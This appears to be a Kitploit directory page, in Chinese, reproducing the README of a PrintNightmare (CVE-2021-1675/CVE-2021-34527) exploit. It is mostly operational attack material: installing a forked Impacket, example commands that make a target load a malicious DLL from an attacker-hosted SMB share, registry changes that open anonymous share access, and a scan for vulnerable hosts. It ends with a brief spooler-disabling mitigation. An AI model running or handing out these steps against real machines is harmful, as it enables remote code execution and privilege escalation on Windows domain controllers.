Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PrintNightmare-CVE-2021-1675-CVE-2021-34527 — CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python、C# 和 PowerShell 漏洞利用实现(本地提权与远程代码执行) | Kitploit
工具/GitHubGitHub/galoget/printnightmare-cve-2021-1675-cve-2021-34527
权限提升漏洞利用框架漏洞分析漏洞利用横向移动渗透测试远程访问工具Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
galoget/printnightmare-cve-2021-1675-cve-2021-34527

PrintNightmare-CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python、C# 和 PowerShell 漏洞利用实现(本地提权与远程代码执行)

查看仓库
55年前尚未审核

CVE-2021-1675 / CVE-2021-34527

Impacket 对 PrintNightmare PoC 的实现,原始创建者为 Zhiniang Peng (@edwardzpeng) 和 Xuefeng Li (@lxf02942370)

测试于完全修补的 2019 域控制器

远程或本地执行恶意 DLL

补丁更新

微软已发布补丁以缓解这些攻击,但如果机器上存在以下值,则机器仍将易受攻击

root@kitploit:~
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

安装

在运行利用程序之前,你需要安装我的 Impacket 版本,之后就没问题了

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SMB 配置

托管有效载荷的最简单方法是使用 Samba 并修改 /etc/samba/smb.conf 以允许匿名访问

root@kitploit:~
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

从 Windows 也可以

root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

扫描

我们可以使用 impacket 中的 rpcdump.py 来扫描潜在的易受攻击主机,如果返回值,则可能易受攻击

root@kitploit:~
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

缓解措施

禁用后台打印程序服务

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
下载工具